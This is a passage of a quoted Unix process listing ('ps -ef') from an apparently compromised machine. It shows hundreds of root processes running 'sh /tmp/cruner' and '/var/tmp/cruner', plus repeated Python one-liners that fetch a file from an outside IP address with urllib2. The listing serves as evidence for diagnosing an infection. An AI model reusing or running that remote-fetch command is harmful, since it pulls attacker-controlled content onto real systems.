13623 18790 0 15:45:11 ? 0:00 bash -sh > root 737 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 19233 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15010 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4654 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2365 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15469 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11997 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28304 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 13547 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 39 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23098 26803 0 15:45:43 ? 0:00 sh /var/tmp/cruner > root 11831 14108 0 15:44:51 ? 0:00 bash -sh > root 26081 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28225 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11243 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26987 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7621 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19341 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 26678 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15892 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17879 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24538 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17847 27949 0 15:43:21 ? 0:00 bash -sh > root 19559 17324 0 15:45:42 ? 0:00 sleep 60 > root 6783 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23320 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22121 12188 0 15:46:01 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3443 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3884 18990 0 15:45:31 ? 0:00 sleep 60 > root 9586 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16252 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5952 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20590 23760 0 15:45:52 ? 0:00 bash -sh > root 16991 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6328 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28367 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2947 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22746 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6441 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3875 10249 0 15:45:19 ? 0:00 sleep 60 > root 14098 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10088 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 3068 2536 0 15:46:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14010 14004 0 - ? 0:00 <defunct> > root 20096 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19194 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5316 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18908 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20975 17748 0 15:45:22 ? 0:00 bash -sh > root 24152 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7104 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 7306 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26486 2088 0 - ? 0:00 <defunct> > root 5534 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25153 25113 0 15:44:54 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22249 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1007 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6463 13856 0 - ? 0:00 <defunct> > root 11347 10835 0 - ? 0:00 <defunct> > root 7589 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18355 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4366 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1764 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26942 21584 0 15:46:02 ? 0:00 sh /var/tmp/cruner > root 21218 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2918 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23117 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3816 19312 0 15:45:54 ? 0:00 bash -sh > root 21384 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26746 25376 0 - ? 0:00 <defunct> > root 27088 27733 0 15:45:07 ? 0:00 bash -sh > root 18058 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24127 1041 0 15:45:57 ? 0:00 sleep 60 > root 13059 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3457 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19042 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10031 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21352 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2301 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13170 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2277 23498 0 15:46:02 ? 0:00 sleep 60 > root 1948 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10604 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6182 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12332 9317 0 15:46:04 ? 0:00 sh /tmp/cruner > root 29016 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 336 10905 0 15:45:34 ? 0:00 sleep 60 > root 27935 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6102 4004 0 15:43:55 ? 0:00 bash -sh > root 26184 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25184 14336 0 15:44:54 ? 0:00 bash -sh > root 9367 1618 0 - ? 0:00 <defunct> > root 21439 8716 0 15:43:45 ? 0:00 bash -sh > root 12414 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23130 23103 0 15:46:01 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4938 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16470 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15263 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 24728 21960 0 15:44:58 ? 0:00 bash -sh > root 5544 29635 0 15:45:28 ? 0:00 sleep 60 > root 11794 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19736 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 20603 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6015 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18097 28753 0 - ? 0:00 <defunct> > root 3598 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19499 16219 0 - ? 0:00 <defunct> > root 26672 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 47 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29560 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9992 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20189 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27518 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16500 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16576 9982 0 15:45:29 ? 0:00 sleep 60 > root 27741 27703 0 15:44:49 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22004 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13019 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16959 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5224 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4486 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16939 14027 0 15:44:52 ? 0:00 bash -sh > root 3958 11027 0 - ? 0:00 <defunct> > root 9322 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3332 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11753 5186 0 15:45:59 ? 0:00 bash -sh > root 17509 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21475 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17567 116 0 - ? 0:00 <defunct> > root 9202 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 17998 10948 0 15:46:00 ? 0:00 sh /tmp/cruner > root 4282 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4941 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2827 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21673 28121 0 15:45:42 ? 0:00 bash -sh > root 17170 26836 0 15:45:56 ? 0:00 xargs kill -9 > root 26019 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6829 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21907 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11534 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10165 13742 0 15:44:04 ? 0:00 bash -sh > root 29210 23766 0 15:45:44 ? 0:00 sleep 60 > root 22864 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28006 20227 0 15:45:34 ? 0:00 sleep 60 > root 4292 12333 0 - ? 0:00 <defunct> > root 22330 19308 0 15:45:02 ? 0:00 bash -sh > root 6702 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23891 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20915 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16417 4355 0 15:44:17 ? 0:00 bash -sh > root 13877 21315 0 15:45:41 ? 0:00 xargs kill -9 > root 13584 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 16793 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18522 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26139 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28407 29225 0 15:45:08 ? 0:00 bash -sh > root 187 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18068 23262 0 - ? 0:00 <defunct> > root 23139 14543 0 15:45:30 ? 0:00 sleep 60 > root 17390 19191 0 15:44:39 ? 0:00 bash -sh > root 29443 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4641 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5268 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26976 26914 0 15:46:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27841 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13695 15682 0 15:45:05 ? 0:00 bash -sh > root 7573 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8357 25748 0 - ? 0:00 <defunct> > root 19656 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13495 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16632 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3030 9386 0 15:45:35 ? 0:00 sleep 60 > root 10905 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4562 24101 0 - ? 0:00 <defunct> > root 18165 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19968 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2510 4964 0 - ? 0:00 <defunct> > root 16204 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > afarley 12407 4867 0 15:46:04 pts/2 0:00 ps -ef > root 15785 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28167 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29586 19763 0 15:45:48 ? 0:00 bash -sh > root 23987 5386 0 15:45:43 ? 0:00 bash -sh > root 17194 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 23495 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28922 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29415 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9963 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25962 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1874 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6847 21706 0 15:43:42 ? 0:00 bash -sh > root 11748 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15386 8139 0 15:45:37 ? 0:00 sleep 60 > root 16534 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2355 8316 0 15:45:53 ? 0:00 bash -sh > root 2977 25305 0 - ? 0:00 <defunct> > root 16107 16087 0 15:46:00 ? 0:00 /bin/ksh -p /bin/kill -9 > root 20791 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1196 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17563 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23637 25637 0 15:45:07 ? 0:00 sleep 60 > root 14079 21473 0 - ? 0:00 <defunct> > root 29568 22765 0 15:45:18 ? 0:00 sleep 60 > root 974 17744 0 - ? 0:00 <defunct> > root 1443 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4997 16582 0 15:42:40 ? 0:00 bash -sh > root 29738 15559 0 15:44:59 ? 0:00 bash -sh > root 26335 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4420 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1396 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27805 22 0 15:45:47 ? 0:00 xargs kill -9 > root 2393 8641 0 15:45:53 ? 0:00 sh /var/tmp/cruner > root 27223 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2131 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21221 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21711 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12187 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4394 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14960 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8537 15181 0 15:45:10 ? 0:00 sleep 60 > root 13702 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 24722 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2212 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20742 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28491 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24490 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14988 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29052 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 17416 13250 0 15:43:27 ? 0:00 bash -sh > root 4921 15305 0 15:45:58 ? 0:00 sleep 60 > root 29987 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22011 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20079 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23530 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 22972 17486 0 15:45:17 ? 0:00 sleep 60 > root 28433 19640 0 - ? 0:00 <defunct> > root 26025 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1695 7597 0 15:45:48 ? 0:00 sleep 60 > root 14396 14361 0 15:43:56 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5470 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4039 5364 0 15:45:58 ? 0:00 sleep 60 > root 28666 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4613 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15925 739 0 15:45:16 ? 0:00 sleep 60 > root 5277 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27348 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 259 24095 0 15:45:24 ? 0:00 sleep 60 > root 1668 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24405 8575 0 15:45:17 ? 0:00 sleep 60 > root 6388 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1233 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22062 14014 0 15:46:01 ? 0:00 sleep 60 > root 14329 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10352 4859 0 15:45:50 ? 0:00 bash -sh > root 8499 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27544 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20783 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9103 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4722 378 0 15:45:24 ? 0:00 bash -sh > root 29581 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9177 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9959 8720 0 15:45:05 ? 0:00 sleep 60 > root 4111 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18973 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13889 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 532 5729 0 15:44:55 ? 0:00 bash -sh > root 27898 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25496 1723 0 15:44:54 ? 0:00 sh /var/tmp/cruner > root 27058 26839 0 15:46:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19467 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14086 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17379 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5818 18747 0 - ? 0:00 <defunct> > root 8093 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25466 9749 0 15:45:13 ? 0:00 sleep 60 > root 29463 29450 0 15:42:56 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12120 4698 0 - ? 0:00 <defunct> > root 9649 7705 0 15:43:43 ? 0:00 bash -sh > root 7740 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26585 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21322 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17408 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 13334 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1827 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27957 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15679 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20523 25804 0 15:43:48 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24748 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11995 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6807 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24250 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14439 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 16600 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12480 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12311 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28475 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2609 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3705 70 0 - ? 0:00 <defunct> > root 15224 15220 0 15:45:21 ? 0:00 sleep 60 > root 6776 7184 0 15:45:04 ? 0:00 bash -sh > root 5682 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2198 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8371 22953 0 - ? 0:00 <defunct> > root 24775 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2192 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8505 9421 0 - ? 0:00 <defunct> > root 5194 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27801 4361 0 - ? 0:00 <defunct> > root 19560 18786 0 15:43:56 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17761 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27369 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29095 21568 0 15:45:34 ? 0:00 sleep 60 > root 8570 5937 0 - ? 0:00 <defunct> > root 6833 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13769 12926 0 15:45:21 ? 0:00 bash -sh > root 10639 13378 0 15:45:28 ? 0:00 sh /var/tmp/cruner > root 3853 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4261 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29028 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 16599 2340 0 15:45:42 ? 0:00 sleep 60 > root 11848 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5851 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10733 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 957 25249 0 15:45:53 ? 0:00 sleep 60 > root 19500 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 13408 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15102 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16128 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29785 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4537 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 22980 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24764 14210 0 15:45:39 ? 0:00 xargs kill -9 > root 9366 9814 0 15:45:15 ? 0:00 bash -sh > root 20755 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22154 22145 0 15:45:42 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11438 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21923 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12658 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6396 29850 0 15:45:09 ? 0:00 sleep 60 > root 9702 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19702 15311 0 - ? 0:00 <defunct> > root 3365 2807 0 15:45:58 ? 0:00 sleep 60 > root 28777 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25370 5212 0 15:45:07 ? 0:00 bash -sh > root 25666 24607 0 - ? 0:00 <defunct> > root 17059 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29572 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17404 20697 0 - ? 0:00 <defunct> > root 22943 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28133 16317 0 15:45:07 ? 0:00 bash -sh > root 21039 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28431 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11797 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15047 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 697 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6358 7056 0 15:45:09 ? 0:00 bash -sh > root 746 4033 0 15:45:08 ? 0:00 bash -sh > root 20733 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10718 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2181 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5668 7872 0 15:45:31 ? 0:00 sleep 60 > root 16121 22360 0 15:44:57 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14110 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2337 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24263 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16235 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17297 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 153 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 18983 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6603 2411 0 15:46:03 ? 0:00 bash -sh > root 5100 1 0 22:05:14 ? 0:00 sh /var/tmp/cruner > root 15763 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2390 19935 0 15:45:53 ? 0:00 sh /var/tmp/cruner > root 18827 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28518 11061 0 15:45:34 ? 0:00 sleep 60 > root 29562 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21698 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1258 4605 0 15:44:41 ? 0:00 bash -sh > root 26240 14106 0 15:45:07 ? 0:00 bash -sh > root 18398 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27558 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9584 4390 0 15:45:31 ? 0:00 bash -sh > root 1795 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2943 7432 0 - ? 0:00 <defunct> > root 21009 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 14353 21030 0 15:45:25 ? 0:00 sleep 60 > root 23370 24576 0 - ? 0:00 <defunct> > root 14823 18375 0 15:45:11 ? 0:00 xargs kill -9 > root 19540 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26279 24414 0 15:45:43 ? 0:00 xargs kill -9 > root 3334 29098 0 15:45:31 ? 0:00 sleep 60 > root 18184 8868 0 15:45:26 ? 0:00 sleep 60 > root 9399 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26312 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28322 1 0 01:16:05 ? 0:00 sh /var/tmp/cruner > root 6736 20194 0 - ? 0:00 <defunct> > root 10317 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24659 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26803 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13127 14633 0 15:45:41 ? 0:00 sleep 60 > root 8911 26510 0 15:45:49 ? 0:00 bash -sh > root 29729 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17378 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6144 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28909 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24897 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 20414 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17992 1 0 04:01:13 ? 0:00 sh /var/tmp/cruner > root 8196 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27481 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29991 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 28094 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21488 1973 0 15:45:33 ? 0:00 sleep 60 > root 16253 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21608 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9593 15344 0 15:45:05 ? 0:00 sleep 60 > root 9996 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9194 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 140 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 24742 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27897 12695 0 15:45:18 ? 0:00 sleep 60 > root 13010 28817 0 - ? 0:00 <defunct> > root 17180 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24161 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17922 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25317 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29213 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17388 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3432 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27771 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6422 2268 0 15:45:09 ? 0:00 bash -sh > root 21664 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 5563 18504 0 - ? 0:00 <defunct> > root 8024 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12290 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25859 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15775 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5093 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3611 14808 0 15:45:19 ? 0:00 sleep 60 > root 27517 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22546 28310 0 15:45:57 ? 0:00 xargs kill -9 > root 22498 25013 0 15:45:17 ? 0:00 sleep 60 > root 2194 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22903 9516 0 - ? 0:00 <defunct> > root 18873 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28848 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19994 836 0 - ? 0:00 <defunct> > root 21380 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25080 11796 0 15:45:33 ? 0:00 bash -sh > root 16182 19952 0 